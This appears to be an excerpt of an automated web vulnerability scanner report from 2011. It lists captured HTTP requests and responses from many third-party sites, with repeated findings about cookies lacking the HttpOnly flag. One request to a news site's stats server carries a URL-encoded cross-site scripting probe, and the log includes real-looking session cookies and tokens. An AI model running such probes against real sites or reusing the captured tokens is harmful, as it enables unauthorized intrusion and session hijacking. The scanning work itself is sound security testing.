session-token=Z2JSK2RoUn+3UMHwG7/GMLAwP03jsMX2IupgD8XjIWL/cWEmFwNPxyjc+zvmeSxHFRri2WjEoaTthJUtEq8EAL61ozW8DRERMFViffbf4t9K0iQzlFKBaFiYf9vzLMP7fsKMskc0pEdBhkFJzjZjmTFuuFcjAIQqpefiCQpUp1OGTQNkcOqpUWmgyA0iAScPLbkwsq14aJ6RQliVt1HPt64kToJxXKmZWZXgpLdM8HZ79M0ij5nOCXDOxmXxRdkg; ubid-main=184-7948791-6690213; session-id-time=2082787201l; session-id=175-4977389-9084947; apn-user-id=efdefc51-984d-4206-a2cf-3e1833f8e844
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:23:01 GMT Server: Server Set-Cookie: apn-user-id=efdefc51-984d-4206-a2cf-3e1833f8e844; expires=Thu, 01-Jan-2037 08:00:01 GMT; path=/; domain=.amazon.com; p3p: policyref="http://rcm.amazon.com/w3c/p3p-us.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " Cache-control: no-store Content-Length: 4168 nnCoection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso- ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w/pg?cont_id=11&d=f&host=media.fastclick.net HTTP/1.1 Host: rd.apmebf.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: S=fks3qs-58150-1294536375707-a5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://media.fastclick.net/w/pg?cont_id=11& ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=73c091fa2712ba7bf2c2185c73695000; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /directory/advsearch.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=089d7ea1d8ba80fb168608272f1090c1; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36788
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /directory/new.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=0b0ec261643fa10923bfbfaa489de5ba; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /how-to-add-listings.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=d7fb4f14f3981668855c2cc50303ff38; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:11 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 24085
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /schhp HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /scholar?hl\x3den\x26tab\x3dws\x22 HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://scholar.google.com/schhp? ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%20%20%20%20%20%20%20%20%20%20%20%20%201','','0C HTTP/1.1 Host: search.aol.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 24 Jan 2011 21:07:11 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 24-Jan-2011 21:06:51 GMT Content-Type: text/javascript Pragma: no-cache Cache-Control: no-cache Set-Cookie: segments="3391|3392|30767|11262|16681|11265|17329|18086|17277|38582,1298044270|10102"; Domain=invitemedia.com; expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Content-Length: 488
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 24 Jan 2011 22:20:55 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 24-Jan-2011 22:20:35 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: segments="3391|3392|30767|11262|11265|17329|18086|17277|38582,1298044270|10102"; Domain=invitemedia.com; expires=Tue, 24-Jan-2012 22:20:55 GMT; Path=/ Content-Length: 43
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServersell=1753538570.47140.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /syc/syc_center.jsf/x22 HTTP/1.1 Host: sell.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:24 GMT Server: Apache Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: BIGipServersell=1753538570.47140.0000; path=/ Keep-Alive: timeout=30 Content-Length: 216
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>404 Not Found</TITLE> </HEAD><BODY> <H1>Not Found</H1> The requested URL /syc/syc_center.jsf/x22 was not found on this server.<P> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:25 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=f11faeaa8bfcf1173cca705e8a18bcf3; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:26 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25985
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /amazonca-bookstores.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:28 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=6f4ba96b12412512286550c1c4e022c3; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:28 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /amazoncom-bookstores.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:26 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=5d15bc9ea87fed1dc0557d8ce38f387c; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:26 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /amazoncouk-bookstores.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:29 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=f75616fa7408188c2fab0b8e14e1d941; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:29 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18261
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /amazonde-bookstores.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:29 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=298c7bb388ae5200b47c09c683c7ea11; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:29 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18270
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /amazonfr-bookstores.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:28 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=9bb100633a131de24e6007e097496143; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:28 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 18260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /faqs.html HTTP/1.1 Host: shop.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:27 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 7d9543e8bcda4746e859f8a307a0cf8b=2bef4d635d7d090f5082a1fa1dbebd93; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:28 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 23723
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: shopping.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2004/May/26/addLoadEvent/ HTTP/1.1 Host: simonwillison.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.5.4 Date: Tue, 25 Jan 2011 13:16:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Expires: Tue, 25 Jan 2011 13:16:12 GMT Vary: Cookie Last-Modified: Tue, 25 Jan 2011 13:14:12 GMT ETag: 62572f46c0e2e4374a72e5ad7c169014 Cache-Control: max-age=120 Set-Cookie: openid="Set-Cookie: openid=; expires=Tue, 25-Jan-2011 13:16:05 GMT; Max-Age=0; Path=/;"; Content-Length: 63053
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Executing JavaSc ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: smallbusinessnews.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smp/v=5;m=1;t=2568;ts=1295903195040 HTTP/1.1 Host: smp.specificmedia.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smu=5051.928757113086138685
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 21:06:42 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5046.928757113086138685; domain=.specificmedia.com; path=/; expires=Tue, 29-Dec-2015 21:06:42 GMT Set-cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; domain=.specificmedia.com; path=/; expires=Tue, 29-Dec-2015 21:06:42 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Location: http://cache.specificmedia.com/creative/blank.gif Connection: close Content-Type: text/html Content-Length: 412
<head><title>Moved</title> <body>This object has moved to <a href="http://cache.specificmedia.com/creative/blank.gif">http://cache.specificmedia.com/creative/blank.gif</a></body> <!DOCTYPE HTML PUBLIC ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /projects/nzbget/ HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /projects/trn/ HTTP/1.1 Host: sourceforge.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /api/events/915725/buy_tickets HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:18:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/ Status: 500 Internal Server Error Cache-Control: max-age=60 Content-Length: 23
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /api/widgets/clickthrough/264001 HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:17:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/ Status: 302 Found Location: http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=tf&c=20&mc=click&pli=2150004&PluID=0&ord=[timestamp] Cache-Control: max-age=60 Content-Length: 172
<html><body>You are being <a href="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=tf&c=20&mc=click&pli=2150004&PluID=0&ord=[timestamp]">redirected</a>.</body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /event_list HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:18:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/ Status: 200 OK Cache-Control: no-cache Content-Length: 10097
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <me ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /event_page/view/915725 HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:18:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: _spongecell_loves_u=BAh7CDoJa2V5c1sAOgtsb2NhbGUiCmVuLVVTIgpmbGFzaElDOidBY3Rpb25D%250Ab250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewY6CW5vdGUwBjoKQHVzZWR7%250ABjsIVA%253D%253D--5f6777943aa1e5d6b4a2cab61b42984a90431a22; domain=.spongecell.com; path=/ Status: 302 Found Location: http://spongecell.com/event/view/915725 Cache-Control: no-cache Content-Length: 105
<html><body>You are being <a href="http://spongecell.com/event/view/915725">redirected</a>.</body></html>
The following cookie was issued by the application and does not have the HttpOnly flag set:
lastpost=b5ecd3c5dc5b053e7b22b8e1502a67b3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /piwik.php?idsite=2&rec=1&rand=0.49300097208470106&h=15&m=12&s=27&url=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fmusic-scenea960d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eb7d5247b69c%2F2010%2F11%2Fpianist-geoffrey-saba-performs-at-aubs-assembly-hall%2Fx22&urlref=http%3A%2F%2Fburp%2Fshow%2F35&res=1920x1200&cookie=1&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=1&java=1&gears=1&ag=1&action_name=Nothing%20found%20for%20Music-scenea960d%22%3E%3Cscript%3Ealert(document%20Cookie)%3C%20Script%3Eb7d5247b69c%202010%2011%20Pianist-geoffrey-saba-performs-at-aubs-assembly-hall%20X22 HTTP/1.1 Host: stats.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:11:43 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 P3P: CP='OTI DSP COR NID STP UNI OTPa OUR' Set-Cookie: piwik_visitor=2%3DeyI4IjozLCI5IjoiYnVycCIsIjEwIjpmYWxzZSwiNiI6IjExNjcyNzEiLCI3IjoxMjk1OTAzNTAzLCIxIjoiZGU3ODM5NTA5MTdiYTQ1NThjNDA4NzNlYTNlZTFiNWEiLCIyIjoxMjk1OTAzNTAzLCIzIjoxMjk1OTAzNTAzLCI0IjoiMTE2NzI3MSIsIjUiOiIzMTMxNjkiLCIxMSI6MH0%3D%3A_%3D56d7103d07c8fb280920e65bd6d3a9c6aae4566e; expires=Wed, 23-Jan-2013 21:11:43 GMT Content-Type: image/gif Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/usync?pid=2&puid=914803576615380,rcHW800iZiMAAocf HTTP/1.1 Host: su.addthis.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/B3DM/DLX/1@x71 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295452270.19F|1295903322.60|1293848200.66; uid=4d1ec56b7612a62c; psc=4
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295903322.60|1295452270.19F|1293848200.66; Domain=.addthis.com; Expires=Thu, 24-Jan-2013 01:35:49 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Content-Type: image/png Content-Length: 67 Date: Tue, 25 Jan 2011 01:35:49 GMT Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
